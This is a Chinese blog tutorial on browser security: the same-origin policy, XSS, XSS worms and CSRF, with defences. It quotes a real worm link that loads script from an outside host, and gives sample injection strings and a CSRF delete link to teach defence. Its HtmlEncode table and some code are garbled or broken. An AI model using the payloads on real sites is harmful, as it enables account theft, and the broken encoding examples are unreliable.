客戶(hù)端(瀏覽器)安全
同源策略(Same Origin Policy)
同源策略阻止從一個(gè)源加載的文檔或腳本獲取或設(shè)置另一個(gè)源加載的文檔的屬性。
如:
不能通過(guò)Ajax獲取另一個(gè)源的數(shù)據(jù);
JavaScript不能訪問(wèn)頁(yè)面中iframe加載的跨域資源。
對(duì) http://store.company.com/dir/page.html 同源檢測(cè)

跨域限制
- 瀏覽器中,script、img、iframe、link等標(biāo)簽,可以跨域引用或加載資源。
- 不同于 XMLHttpRequest,通過(guò)src屬性加載的資源,瀏覽器限制了JavaScript的權(quán)限,使其不能讀、寫(xiě)返回的內(nèi)容。
- XMLHttpRequest 也受到也同源策略的約束,不能跨域訪問(wèn)資源。
JSONP
為了解決 XMLHttpRequest 同源策略的局限性,JSONP出現(xiàn)了。
JSONP并不是一個(gè)官方的協(xié)議,它是利用script標(biāo)簽中src屬性具有跨域加載資源的特性,而衍生出來(lái)的跨域數(shù)據(jù)訪問(wèn)方式。
CORS(Cross-Origin Resource Sharing)
CORS,即:跨域資源共享。
這是W3C委員會(huì)制定的一個(gè)新標(biāo)準(zhǔn),用于解決 XMLHttpRequest 不能跨域訪問(wèn)資源的問(wèn)題。目前支持情況良好(特指移動(dòng)端)。
想了解更多,可查看之前的文章:《CORS(Cross-Origin Resource Sharing) 跨域資源共享》
XSS(Cross Site Script)
XSS(Cross Site Script) 即:跨站腳本攻擊。
本來(lái)縮寫(xiě)其應(yīng)該是CSS,不過(guò)為了避免和CSS層疊樣式表 (Cascading Style Sheets)重復(fù),所以在安全領(lǐng)域叫做 XSS 。
XSS 分類(lèi)
XSS 主要分為兩種形態(tài)
- 反射型XSS(非持久型XSS)。需要誘惑用戶(hù)去激活的XSS攻擊,如:點(diǎn)擊惡意鏈接。
- 存儲(chǔ)型XSS?;祀s有惡意代碼的數(shù)據(jù)被存儲(chǔ)在服務(wù)器端,當(dāng)用戶(hù)訪問(wèn)輸出該數(shù)據(jù)的頁(yè)面時(shí),就會(huì)促發(fā)XSS攻擊。具有很強(qiáng)的穩(wěn)定性。
XSS Payload
XSS Payload,是指那些用于完成各種具體功能的惡意腳本。
由于實(shí)現(xiàn)XSS攻擊可以通過(guò)JavaScript、ActiveX控件、Flash插件、Java插件等技術(shù)手段實(shí)現(xiàn),下面只討論JavaScript的XSS Payload。
通過(guò)JavaScript實(shí)現(xiàn)的XSS Payload,一般有以下幾種:
- Cookie劫持
- 構(gòu)造請(qǐng)求
- XSS釣魚(yú)
- CSS History Hack
Cookie劫持
由于Cookie中,往往會(huì)存儲(chǔ)著一些用戶(hù)安全級(jí)別較高的信息,如:用戶(hù)的登陸憑證。
當(dāng)用戶(hù)所訪問(wèn)的網(wǎng)站被注入惡意代碼,它只需通過(guò) *document.cookie *這句簡(jiǎn)單的JavaScript代碼,就可以順利獲取到用戶(hù)當(dāng)前訪問(wèn)網(wǎng)站的cookies。
如果攻擊者能獲取到用戶(hù)登陸憑證的Cookie,甚至可以繞開(kāi)登陸流程,直接設(shè)置這個(gè)cookie的值,來(lái)訪問(wèn)用戶(hù)的賬號(hào)。
構(gòu)造請(qǐng)求
JavaScript 可以通過(guò)多種方式向服務(wù)器發(fā)送GET與POST請(qǐng)求。
網(wǎng)站的數(shù)據(jù)訪問(wèn)和操作,基本上都是通過(guò)向服務(wù)器發(fā)送請(qǐng)求而實(shí)現(xiàn)的。
如果讓惡意代碼順利模擬用戶(hù)操作,向服務(wù)器發(fā)送有效請(qǐng)求,將對(duì)用戶(hù)造成重大損失。
例如:更改用戶(hù)資料、刪除用戶(hù)信息等...
XSS釣魚(yú)
關(guān)于網(wǎng)站釣魚(yú),詳細(xì)大家應(yīng)該也不陌生了。
就是偽造一個(gè)高度相似的網(wǎng)站,欺騙用戶(hù)在釣魚(yú)網(wǎng)站上面填寫(xiě)賬號(hào)密碼或者進(jìn)行交易。
而XSS釣魚(yú)也是利用同樣的原理。
注入頁(yè)面的惡意代碼,會(huì)彈出一個(gè)想死的彈窗,提示用戶(hù)輸入賬號(hào)密碼登陸。
當(dāng)用戶(hù)輸入后點(diǎn)擊發(fā)送,這些資料已經(jīng)去到了攻擊者的服務(wù)器上了。
如:

CSS History Hack
CSS History Hack是一個(gè)有意思的東西。它結(jié)合 瀏覽器歷史記錄 和 CSS的偽類(lèi):a:visited,通過(guò)遍歷一個(gè)網(wǎng)址列表來(lái)獲取其中<a>標(biāo)簽的顏色,就能知道用戶(hù)訪問(wèn)過(guò)什么網(wǎng)站。
相關(guān)鏈接:http://ha.ckers.org/weird/CSS-history-hack.html
PS:目前最新版的Chrome、Firefox、Safari已經(jīng)無(wú)效,Opera 和 IE8以下 還可以使用。
XSS Worm
XSS Worm,即XSS蠕蟲(chóng),是一種具有自我傳播能力的XSS攻擊,殺傷力很大。
引發(fā) XSS蠕蟲(chóng) 的條件比較高,需要在用戶(hù)之間發(fā)生交互行為的頁(yè)面,這樣才能形成有效的傳播。一般要同時(shí)結(jié)合 反射型XSS 和 存儲(chǔ)型XSS 。
案例:Samy Worm、新浪微博XSS攻擊
新浪微博XSS攻擊
這張圖,其實(shí)已經(jīng)是XSS蠕蟲(chóng)傳播階段的截圖了。
攻擊者要讓XSS蠕蟲(chóng)成功被激活,應(yīng)該是通過(guò) 私信 或者 @微博 的方式,誘惑一些微博大號(hào)上當(dāng)。
當(dāng)這些大號(hào)中有人點(diǎn)擊了攻擊鏈接后,XSS蠕蟲(chóng)就被激活,開(kāi)始傳播了。

這個(gè)XSS的漏洞,其實(shí)就是沒(méi)有對(duì)地址中的變量進(jìn)行過(guò)濾。
把上圖的鏈接decode了之后,我們就可以很容易的看出,這個(gè)鏈接的貓膩在哪里。
鏈接上帶的變量,直接輸出頁(yè)面,導(dǎo)致外部JavaScript代碼成功注入。
把鏈接decode之后:http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

相關(guān)XSS代碼這里就不貼了,Google一下就有。
其實(shí)也要感謝攻擊者只是惡作劇了一下,讓用戶(hù)沒(méi)有造成實(shí)際的損失。
網(wǎng)上也有人提到,如果這個(gè)漏洞結(jié)合XSS釣魚(yú),再配合隱性傳播,那樣殺傷力會(huì)更大。
XSS 防御技巧
HttpOnly
服務(wù)器端在設(shè)置安全級(jí)別高的Cookie時(shí),帶上HttpOnly的屬性,就能防止JavaScript獲取。
PHP設(shè)置HttpOnly:
1 <?
2 header("Set-Cookie: a=1;", false);
3 header("Set-Cookie: b=1;httponly", false);
4 setcookie("c", "1", NULL, NULL, NULL, NULL, ture);
PS:手機(jī)上的QQ瀏覽器4.0,居然不支持httponly,而3.7的版本卻沒(méi)問(wèn)題。測(cè)試平臺(tái)是安卓4.0版本。
估計(jì)是一個(gè)低級(jí)的bug,已經(jīng)向QQ瀏覽器那邊反映了情。
截止時(shí)間:2013-01-28
輸入檢查
任何用戶(hù)輸入的數(shù)據(jù),都是“不可信”的。
輸入檢查,一般是用于輸入格式檢查,例如:郵箱、電話號(hào)碼、用戶(hù)名這些...
都要按照規(guī)定的格式輸入:電話號(hào)碼必須純是數(shù)字和規(guī)定長(zhǎng)度;用戶(hù)名除 中英文數(shù)字 外,僅允許輸入幾個(gè)安全的符號(hào)。
輸入過(guò)濾不能完全交由前端負(fù)責(zé),前端的輸入過(guò)濾只是為了避免普通用戶(hù)的錯(cuò)誤輸入,減輕服務(wù)器的負(fù)擔(dān)。
因?yàn)楣粽咄耆梢岳@過(guò)正常輸入流程,直接利用相關(guān)接口向服務(wù)器發(fā)送設(shè)置。
所以,前端和后端要做相同的過(guò)濾檢查。
輸出檢查
相比輸入檢查,前端更適合做輸出檢查。
可以看到,HttpOnly和前端沒(méi)直接關(guān)系,輸入檢查的關(guān)鍵點(diǎn)也不在于前端。
那XSS的防御就和前端沒(méi)關(guān)系了?
當(dāng)然不是,隨著移動(dòng)端web開(kāi)發(fā)發(fā)展起來(lái)了,Ajax的使用越來(lái)越普遍,越來(lái)越多的操作都交給前端來(lái)處理。
前端也需要做好XSS防御。
JavaScript直接通過(guò)Ajax向服務(wù)器請(qǐng)求數(shù)據(jù),接口把數(shù)據(jù)以JSON格式返回。前端整合處理數(shù)據(jù)后,輸出頁(yè)面。
所以,前端的XSS防御點(diǎn),在于輸出檢查。
但也要結(jié)合XSS可能發(fā)生的場(chǎng)景。
XSS注意場(chǎng)景
在HTML標(biāo)簽中輸出
如:<a href=# >{$var}</a>
風(fēng)險(xiǎn):{$var} 為 <img src=# onerror="/xss/" />
防御手段:變量HtmlEncode后輸出
在HTML屬性中輸出
如:<div data-num="{$var}"></div>
風(fēng)險(xiǎn):{$var} 為 " onclick="/xss/
防御手段:變量HtmlEncode后輸出
在標(biāo)簽中輸出
如:<script>var num = {$var};</script>
風(fēng)險(xiǎn):{$var} 為 1; alert(/xss/)
防御手段:確保輸出變量在引號(hào)里面,再讓變量JavaScriptEncode后輸出。
在事件中輸出
如:<span onclick="fun({$var})">hello!click me!</span>
風(fēng)險(xiǎn):{$var} 為 ); alert(/xss/); //
防御手段:確保輸出變量在引號(hào)里面,再讓變量JavaScriptEncode后輸出。
在CSS中輸出
一般來(lái)說(shuō),盡量禁止用戶(hù)可控制的變量在<style>標(biāo)簽和style屬性中輸出。
在地址中輸出
如:<a >
風(fēng)險(xiǎn):{$var} 為 " onclick="alert(/xss/)
防御手段:對(duì)URL中除 協(xié)議(Protocal) 和 主機(jī)(Host) 外進(jìn)行URLEncode。如果整個(gè)鏈接都由變量輸出,則需要判斷是不是http開(kāi)頭。
HtmlEncode
對(duì)下列字符實(shí)現(xiàn)編碼
& ——》 &
< ——》 <
> ——》 >
" ——》 "
' ——》 ' (IE不支持')
/ ——》 /
JavaScriptEncode
對(duì)下列字符加上反斜杠
" ——》 "
' ——》 '
\ ——》 \
\n ——》 \n
\r ——》 \r (Windows下的換行符)
例子: "\".replace(/\/g, "\\"); //return \
推薦一個(gè)JavaScript的模板引擎:artTemplate
URLEncode
使用以下JS原生方法進(jìn)行URI編碼和解碼:
- encodeURI
- decodeURI
- decodeURIComponent
- encodeURIComponent
CSRF(Cross-site request forgery)

CSRF 即:跨站點(diǎn)請(qǐng)求偽造
網(wǎng)站A :為惡意網(wǎng)站。
網(wǎng)站B :用戶(hù)已登錄的網(wǎng)站。
當(dāng)用戶(hù)訪問(wèn) A站 時(shí),A站 私自訪問(wèn) B站 的操作鏈接,模擬用戶(hù)操作。
假設(shè)B站有一個(gè)刪除評(píng)論的鏈接:http://b.com/comment/?type=delete&id=81723
A站 直接訪問(wèn)該鏈接,就能刪除用戶(hù)在 B站 的評(píng)論。
CSRF 的攻擊策略
因?yàn)闉g覽器訪問(wèn) B站 相關(guān)鏈接時(shí),會(huì)向其服務(wù)器發(fā)送 B站 保存在本地的Cookie,以判斷用戶(hù)是否登陸。所以通過(guò) A站 訪問(wèn)的鏈接,也能順利執(zhí)行。
CSRF 防御技巧
驗(yàn)證碼
幾乎所有人都知道驗(yàn)證碼,但驗(yàn)證碼不單單用來(lái)防止注冊(cè)機(jī)的暴力破解,還可以有效防止CSRF的攻擊。
驗(yàn)證碼算是對(duì)抗CSRF攻擊最簡(jiǎn)潔有效的方法。
但使用驗(yàn)證碼的問(wèn)題在于,不可能在用戶(hù)的所有操作上都需要輸入驗(yàn)證碼。
只有一些關(guān)鍵的操作,才能要求輸入驗(yàn)證碼。
不過(guò)隨著HTML5的發(fā)展。
利用canvas標(biāo)簽,前端也能識(shí)別驗(yàn)證碼的字符,讓CSRF生效。
Referer Check
Referer Check即來(lái)源檢測(cè)。
HTTP Referer 是 Request Headers 的一部分,當(dāng)瀏覽器向web服務(wù)器發(fā)出請(qǐng)求的時(shí)候,一般會(huì)帶上Referer,告訴服務(wù)器用戶(hù)從哪個(gè)站點(diǎn)鏈接過(guò)來(lái)的。
服務(wù)器通過(guò)判斷請(qǐng)求頭中的referer,也能避免CSRF的攻擊。
Token
CSRF能攻擊成功,根本原因是:操作所帶的參數(shù)均被攻擊者猜測(cè)到。
既然知道根本原因,我們就對(duì)癥下藥,利用Token。
當(dāng)向服務(wù)器傳參數(shù)時(shí),帶上Token。這個(gè)Token是一個(gè)隨機(jī)值,并且由服務(wù)器和用戶(hù)同時(shí)持有。
Token可以存放在用戶(hù)瀏覽器的Cookie中,
當(dāng)用戶(hù)提交表單時(shí)帶上Token值,服務(wù)器就能驗(yàn)證表單和Cookie中的Token是否一致。
(前提,網(wǎng)站沒(méi)有XSS漏洞,攻擊者不能通過(guò)腳本獲取用戶(hù)的Cookie)
最后,送上 HTML安全備忘列表:http://heideri.ch/jso/
本文鏈接:http://www.cnblogs.com/maplejan/archive/2013/01/28/2880771.html
作者:Maple Jan
參考:
《白帽子講Web安全 》
https://developer.mozilla.org/zh-CN/docs/JavaScript%E7%9A%84%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5